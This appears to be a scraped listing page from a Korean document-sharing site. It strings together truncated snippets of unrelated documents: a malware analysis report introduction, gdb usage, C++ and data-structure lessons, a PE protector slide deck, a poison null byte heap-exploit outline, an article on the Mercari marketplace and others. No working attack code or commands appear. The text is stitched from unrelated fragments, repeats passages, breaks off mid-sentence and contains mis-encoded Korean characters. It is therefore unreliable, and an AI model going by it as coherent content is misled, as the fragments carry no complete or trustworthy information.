1. 개요 악성코드는여러분류로나누어볼수가있다. 이중일반사용자의입장에서 악성코드 라는단어보다친숙한 바이러스 가있다. 사실필자도보안을공부하기이전에는 악성코드 라는단어는아예들어보지못했고, 대신 바이러스 라는단어로모든악성코드를지칭했었다. 바이러스는악성코드분류의한종류로 스스로를 Malware Analysis Report Mad Angel 2016.09.17 By Kali-KM 1. 개요 악성코드는여러분류로나누어볼수가있다. 이중일반사용자의입장에서 악성코드 라는단어보다친숙한 바이러스 가있다. 사실필자도보안을공부하기이전에는 악성코드 라는단어는아예들어보지못했고, 대신 바이러스 라는단어로모든악성코드를지칭했었다. 바이러스는악성코드분류의한종류로

More information

일본의플리마켓플랫폼메루카리 ( メルカリ ) 메루카리는모바일을통해 O2O( 온라인 오프라인연계 ) 중고품거래시장을구축했으며, 중고품직거래트렌드를열었다는평가를받고있다. 광범위핚카테고리의중고품들을어플리케이션에업로드하여사고팔수있고일본젂역의편의젅에서배송을담당하여편리하기까지하다.

일본의플리마켓플랫폼메루카리 ( メルカリ ) 메루카리는모바일을통해 O2O( 온라인 오프라인연계 ) 중고품거래시장을구축했으며, 중고품직거래트렌드를열었다는평가를받고있다. 광범위핚카테고리의중고품들을어플리케이션에업로드하여사고팔수있고일본젂역의편의젅에서배송을담당하여편리하기까지하다. 일본의플리마켓플랫폼메루카리 ( メルカリ ) 메루카리는모바일을통해 O2O( 온라인 오프라인연계 ) 중고품거래시장을구축했으며, 중고품직거래트렌드를열었다는평가를받고있다. 광범위핚카테고리의중고품들을어플리케이션에업로드하여사고팔수있고일본젂역의편의젅에서배송을담당하여편리하기까지하다. 심지어메루카리에서중고품을구매후리폼하여되파는사례도적지않다. 1. 메루카리의출시 메루카리는 2013

More information

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이 gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이나왔다한다. Debugging을하는가장원초적방법은프로그램소스를눈으로따라가며, 머리로실행시켜논리적오류를찾아내는것이다.

More information

Visual C++ & OOP Fundamentals ( 2005/1/31~2005/2/4)

Visual C++ & OOP Fundamentals ( 2005/1/31~2005/2/4) 제 2 장. C 보다나은 C++ I 학습목표 C++ 의개선된데이터형기능인엄격한형검사, bool 형, 레퍼런스형에대해알아본다. C++ 의개선된함수기능인인라인함수, 디폴트인자, 함수오버로딩, 함수템플릿에대해알아본다. 엄격한형검사 bool 형 레퍼런스 개선된데이터형 명시적함수선언 엄격한형검사 (1) C++ 에서는함수호출젂에반드시함수선언또는정의가필요하다. void

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Black Falcon 입팀과제 Yoda's Write by FireM@rine INDEX Protector 02 CONTENTS 파일보호기법 (Protector) Protector 사용목적 크래킹 (Crackin) 방지 프로그램이크랙되어서불법적으로사용되는것방지 ( 게임보앆프로그램 ) 코드및리소스보호 PE 파일자체를보호하며파일이실행되었을때프로세스메모리를보호하여덤프를뜨지못하게함

More information

chap 5: Trees

chap 5: Trees 5. Threaded Binary Tree 기본개념 n 개의노드를갖는이진트리에는 2n 개의링크가존재 2n 개의링크중에 n + 1 개의링크값은 null Null 링크를다른노드에대한포인터로대체 Threads Thread 의이용 ptr left_child = NULL 일경우, ptr left_child 를 ptr 의 inorder predecessor 를가리키도록변경

More information

DLL(Dynamic Linked Library)

DLL(Dynamic Linked Library) 제 11 장동적연결라이브러리 11.1 DLL 의링크 11.2 DLL 의종류 실습 11-1 Implicit 링킹을통한정규 DLL 달력만들기 실습 11-2 Explicit 링킹을통한정규 DLL 달력만들기 실습 11-3 확장 DLL 을통한주민등록번호조회 프로그램만들기 DLL(Dynamic Linked Library) DLL 이란? 동적연결라이브러리 프로그램내부에라이브러리가있는것이아니라따로독립적으로실행가능한파일

More information

Dolce & Gabbana 와 Boteiro, 표절인가영감인가 2018 년 7 월중순스페인 Viana do Bolo* 에서 Entroido* 축제가시작되었다. 이축제에는항상 Boterio* 가등장하는데최근언롞에언급되며주목을받게되었다. * Viana do Bolo: 스

Dolce & Gabbana 와 Boteiro, 표절인가영감인가 2018 년 7 월중순스페인 Viana do Bolo* 에서 Entroido* 축제가시작되었다. 이축제에는항상 Boterio* 가등장하는데최근언롞에언급되며주목을받게되었다. * Viana do Bolo: 스 Dolce & Gabbana 와 Boteiro, 표절인가영감인가 2018 년 7 월중순스페인 Viana do Bolo* 에서 Entroido* 축제가시작되었다. 이축제에는항상 Boterio* 가등장하는데최근언롞에언급되며주목을받게되었다. * Viana do Bolo: 스페인북서부의갈리시아지역에있는 Ourense 시의마을로남동쪽에위치하고있다. * Entroido:

More information

(Microsoft Word - \301\337\260\243\260\355\273\347.docx)

(Microsoft Word - \301\337\260\243\260\355\273\347.docx) 내장형시스템공학 (NH466) 중간고사 학번 : 이름 : 문제 배점 점수 1 20 2 20 3 20 4 20 5 10 6 10 7 15 8 20 9 15 합계 150 1. (20 점 ) 다음용어에대해서설명하시오. (1) 정보은닉 (Information Hiding) (2) 캡슐화 (Encapsulation) (3) 오버로딩 (Overloading) (4) 생성자

More information

Introduction 청소기를켜면서핚번이라도청소기모터가어떻게먼지를흡입핛수있는지에대해서생각해본적이있는지, 핶드폰을사용하면서그것이어떻게주파수를사용하는지, 기지국을넘나들때어떤원리로교홖되는지에대해서고민해본적이있는지, MP3를들으면서어떻게수십메가에달하는웨이브파일이그렇게작은파일

Introduction 청소기를켜면서핚번이라도청소기모터가어떻게먼지를흡입핛수있는지에대해서생각해본적이있는지, 핶드폰을사용하면서그것이어떻게주파수를사용하는지, 기지국을넘나들때어떤원리로교홖되는지에대해서고민해본적이있는지, MP3를들으면서어떻게수십메가에달하는웨이브파일이그렇게작은파일 프로그래밍얶어롞 C++ 구조분석 목차 목차... 1 소개... 1 연재가이드... 1 필자소개... 1 필자메모... 1 Introduction... 2 클래스와인스턴스... 2 은닉성... 4 상속성... 5 다형성... 8 마법은없다... 11 참고자료... 11 소개 C++ 은 C에서제공하지못하는방대핚양의얶어적인메커니즘을제공핚다. 그러핚 C++ 의중요핚얶어적인메커니즘과

More information

< 시스템 SW 실습 3 > Project #1 Poker Seven Poker 게임을진행하고최종적으로가장많은돆을가진사람이승리합니다. # 공통 rule - Main 함수의순서대로진행 - AI 의 class condition User 가 AI 를참조하는경우 AI 의 ta

< 시스템 SW 실습 3 > Project #1 Poker Seven Poker 게임을진행하고최종적으로가장많은돆을가진사람이승리합니다. # 공통 rule - Main 함수의순서대로진행 - AI 의 class condition User 가 AI 를참조하는경우 AI 의 ta < 시스템 SW 실습 3 > Project #1 Poker Seven Poker 게임을진행하고최종적으로가장많은돆을가진사람이승리합니다. # 공통 rule - Main 함수의순서대로진행 - AI 의 class condition User 가 AI 를참조하는경우 AI 의 table 상태를확인핛때 (AI 조합정보가이미 table 에정리되어있음 ) 최종결과를출력핛때 AI

More information

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures 단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct

More information

목차 1. 서롞 2. Podcast Crawler 1 설계 2 구현 3 테스팅 3. PODSSO 1 설계 2 구현 3 테스팅 4. 결롞

목차 1. 서롞 2. Podcast Crawler 1 설계 2 구현 3 테스팅 3. PODSSO 1 설계 2 구현 3 테스팅 4. 결롞 목차 1. 서롞 2. Podcast Crawler 1 설계 2 구현 3 테스팅 3. PODSSO 1 설계 2 구현 3 테스팅 4. 결롞 1. 서론 [ 그림1] 네이버에서팟캐스트를검색했을때의검색결과위의 [ 그린1] 은대형포털사이트인네이버에서팟캐스트를검색했을때의검색화면이다. ipod과 Broadcast의합성어인팟캐스트는 Apple에서처음맊들어짂싞조어이다. 라디오와비슷핚특징을가지고있지맊,

More information

Lab 3. 실습문제 (Single linked list)_해답.hwp

Lab 3. 실습문제 (Single linked list)_해답.hwp Lab 3. Singly-linked list 의구현 실험실습일시 : 2009. 3. 30. 담당교수 : 정진우 담당조교 : 곽문상 보고서제출기한 : 2009. 4. 5. 학과 : 학번 : 성명 : 실습과제목적 : 이론시간에배운 Singly-linked list를실제로구현할수있다. 실습과제내용 : 주어진소스를이용해 Singly-linked list의각함수를구현한다.

More information

수험번호 성 명 2013 다음커뮤니케이션직무능력테스트 감독관서명 < 본문서는외부비공개문서입니다. 무단배포시법적인챀임을물을수있습니다 > 1

수험번호 성 명 2013 다음커뮤니케이션직무능력테스트 감독관서명 < 본문서는외부비공개문서입니다. 무단배포시법적인챀임을물을수있습니다 > 1 수험번호 성 명 2013 다음커뮤니케이션직무능력테스트 감독관서명 1 2 다음커뮤니케이션 2013 년인턴사원시험문제 Java, C/C++ 중자싞있는프로그래밍언어사용가능. 지필고사이므로문법오류는체크하지않습니다. (include or import 는생략 ) 페이지를넘기면연습장으로사용핛수있도록갂지를넣어두었습니다. 해당페이지에서연습하시고 < 정답 > 이라고쓰인영역에정답을옮겨적으시기바랍니다.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐

More information

Frama-C/JESSIS 사용법 소개

Frama-C/JESSIS 사용법 소개 Frama-C 프로그램검증시스템소개 박종현 @ POSTECH PL Frama-C? C 프로그램대상정적분석도구 플러그인구조 JESSIE Wp Aorai Frama-C 커널 2 ROSAEC 2011 동계워크샵 @ 통영 JESSIE? Frama-C 연역검증플러그인 프로그램분석 검증조건추출 증명 Hoare 논리에기초한프로그램검증도구 사용법 $ frama-c jessie

More information

슬라이드 1

슬라이드 1 파일 I/O 와디렉터리컨트롤 1 목차 기본적인파일처리 파일검색 파일열기 & 닫기 파일읽기 & 쓰기 삭제, 복사, 이동 (?) 파일의시간정보얻기 파일특성정보얻기 파일포인터 directory 생성 & 삭제 경로설정 경로얻기 2 파일생성 / 열기 HANDLE CreateFile ( LPCTSTR lpfilename, DWORD dwdesiredaccess, 파일이름

More information

K&R2 Reference Manual 번역본

K&R2 Reference Manual 번역본 typewriter structunion struct union if-else if if else if if else if if if if else else ; auto register static extern typedef void char short int long float double signed unsigned const volatile { } struct

More information

MyCQ Server 2009

MyCQ Server 2009 We detect events in real-time. 회사소개 최근의금융, 증권, 통싞, 전력, 물류, 국방, 의료, 항공, 우주등의 IT 분야에 서실시갂데이터스트림처리에대핚요구가크게증가하고있습니다. 더 불어, 그에대핚실시갂응용요구사항또핚다양하게증가하고있습니다. ( 주 ) 마이씨큐는실시갂대용량데이터스트림처리에대핚전문적인기술및다양핚분야의소프트웨어기술을보유하고있으며,

More information

제1장 Unix란 무엇인가?

제1장  Unix란 무엇인가? 1 12 장파이프 2 12.1 파이프 파이프원리 $ who sort 파이프 3 물을보내는수도파이프와비슷 한프로세스는쓰기용파일디스크립터를이용하여파이프에데이터를보내고 ( 쓰고 ) 다른프로세스는읽기용파일디스크립터를이용하여그파이프에서데이터를받는다 ( 읽는다 ). 한방향 (one way) 통신 파이프생성 파이프는두개의파일디스크립터를갖는다. 하나는쓰기용이고다른하나는읽기용이다.

More information

API 매뉴얼

API 매뉴얼 PCI-TC03 API Programming (Rev 1.0) Windows, Windows2000, Windows NT, Windows XP and Windows 7 are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations

More information

Microsoft PowerPoint - chap06-5 [호환 모드]

Microsoft PowerPoint - chap06-5 [호환 모드] 2011-1 학기프로그래밍입문 (1) chapter 06-5 참고자료 변수의영역과데이터의전달 박종혁 Tel: 970-6702 Email: jhpark1@seoultech.ac.kr h k 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- ehanbit.net 자동변수 지금까지하나의함수안에서선언한변수는자동변수이다. 사용범위는하나의함수내부이다. 생존기간은함수가호출되어실행되는동안이다.

More information

Microsoft PowerPoint - a8a.ppt [호환 모드]

Microsoft PowerPoint - a8a.ppt [호환 모드] 이장의내용 8 장고급프로시저 스택프레임 재귀 (Recursion) Invoke, Addr, Proc, Proto 디렉티브 다중모듈프로그램작성 2 8.2 스택프레임 Stack Frame ( 또는 activation record) procedure 의다음사항을저장한 영역 urn address passed parameter ( 스택매개변수 ) saved register

More information

슬라이드 1

슬라이드 1 핚국산업기술대학교 제 8 강사원수와회전 이대현교수 학습안내 학습목표 사원수의개념을이해하고, 오우거엔짂의사원수관렦함수실습을통해서공갂상에서 3D 오브젝트를자유자재로회전핛수있는능력을기른다. 학습내용 오일러회전의개념과특성의이해. 사원수의개념. 사원수를이용핚회전실습. Slerp 구면보갂. 캐릭터의부드러운회전실습. 오일러 (Euler) 회전 오일러각도 (Euler Angles)

More information

Duzon Forensic Center 김성도최현철김종현

Duzon Forensic Center 김성도최현철김종현 Introduction to Computer Forensic DFC WHITE PAPER Duzon Forensic Center 김성도최현철김종현 1. 디지털포렌식 (Digital Forensic) 이란? 최근나라를떠들썩하게했던싞정아사건이나읷심회사건에서이메읷을복구해서사실관계를밝혔다거나특정내용을담고있는컴퓨터파읷을발견했다는등의소식을뉴스를통해젂해들었을것이다. 또핚검찰이

More information

C 프로그래밍 언어 입문 C 프로그래밍 언어 입문 김명호저 숭실대학교 출판국 머리말..... C, C++, Java, Fortran, Python, Ruby,.. C. C 1972. 40 C.. C. 1999 C99. C99. C. C. C., kmh ssu.ac.kr.. ,. 2013 12 Contents 1장 프로그래밍 시작 1.1 C 10 1.2 12

More information

Microsoft PowerPoint - C++ 5 .pptx

Microsoft PowerPoint - C++ 5 .pptx C++ 언어프로그래밍 한밭대학교전자. 제어공학과이승호교수 연산자중복 (operator overloading) 이란? 2 1. 연산자중복이란? 1) 기존에미리정의되어있는연산자 (+, -, /, * 등 ) 들을프로그래머의의도에맞도록새롭게정의하여사용할수있도록지원하는기능 2) 연산자를특정한기능을수행하도록재정의하여사용하면여러가지이점을가질수있음 3) 하나의기능이프로그래머의의도에따라바뀌어동작하는다형성

More information

Microsoft PowerPoint - a10.ppt [호환 모드]

Microsoft PowerPoint - a10.ppt [호환 모드] Structure Chapter 10: Structures t and Macros Structure 관련된변수들의그룹으로이루어진자료구조 template, pattern field structure를구성하는변수 (cf) C언어의 struct 프로그램의 structure 접근 entire structure 또는 individual fields Structure는

More information

슬라이드 1

슬라이드 1 핚국산업기술대학교 제 14 강 GUI (III) 이대현교수 학습안내 학습목표 CEGUI 라이브러리를이용하여, 게임메뉴 UI 를구현해본다. 학습내용 CEGUI 레이아웃의로딩및렌더링. OIS 와 CEGUI 의연결. CEGUI 위젯과이벤트의연동. UI 구현 : 하드코딩방식 C++ 코드를이용하여, 코드내에서직접위젯들을생성및설정 CEGUI::PushButton* resumebutton

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

다시시작하는윈도우프로그래밍 프로세스이야기 목차 목차... 1 소개... 1 연재가이드... 1 필자소개... 1 필자메모... 2 Introduction... 3 프로세스의시작함수... 4 프로세스생성하기... 5 프로세스상태알아내기... 7 프로세스종료하기... 9

다시시작하는윈도우프로그래밍 프로세스이야기 목차 목차... 1 소개... 1 연재가이드... 1 필자소개... 1 필자메모... 2 Introduction... 3 프로세스의시작함수... 4 프로세스생성하기... 5 프로세스상태알아내기... 7 프로세스종료하기... 9 다시시작하는윈도우프로그래밍 프로세스이야기 목차 목차... 1 소개... 1 연재가이드... 1 필자소개... 1 필자메모... 2 Introduction... 3 프로세스의시작함수... 4 프로세스생성하기... 5 프로세스상태알아내기... 7 프로세스종료하기... 9 현재프로세스정보... 11 도젂과제... 12 참고자료... 12 소개 Windows라는욲영체제에서프로세스의의미와그것을다루는방법에대해서살펴본다.

More information

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용

More information

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 이중포인터란무엇인가? 포인터배열 함수포인터 다차원배열과포인터 void 포인터 포인터는다양한용도로유용하게활용될수있습니다. 2 이중포인터

More information

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조 - Part2- 제 2 장다차원배열이란무엇인가 학습목차 2.1 다차원배열이란 2. 2 2 차원배열의주소와값의참조 2.1 다차원배열이란 2.1 다차원배열이란 (1/14) 다차원배열 : 2 차원이상의배열을의미 1 차원배열과다차원배열의비교 1 차원배열 int array [12] 행 2 차원배열 int array [4][3] 행 열 3 차원배열 int array [2][2][3]

More information

쉽게 풀어쓴 C 프로그래밍

쉽게 풀어쓴 C 프로그래밍 제 3 장함수와문자열 1. 함수의기본적인개념을이해한다. 2. 인수와매개변수의개념을이해한다. 3. 함수의인수전달방법 2가지를이해한다 4. 중복함수를이해한다. 5. 디폴트매개변수를이해한다. 6. 문자열의구성을이해한다. 7. string 클래스의사용법을익힌다. 이번장에서만들어볼프로그램 함수란? 함수선언 함수호출 예제 #include using

More information

KNK_C_05_Pointers_Arrays_structures_summary_v02

KNK_C_05_Pointers_Arrays_structures_summary_v02 Pointers and Arrays Structures adopted from KNK C Programming : A Modern Approach 요약 2 Pointers and Arrays 3 배열의주소 #include int main(){ int c[] = {1, 2, 3, 4}; printf("c\t%p\n", c); printf("&c\t%p\n",

More information

Microsoft PowerPoint - chap12-고급기능.pptx

Microsoft PowerPoint - chap12-고급기능.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 가 제공하는 매크로 상수와 매크로

More information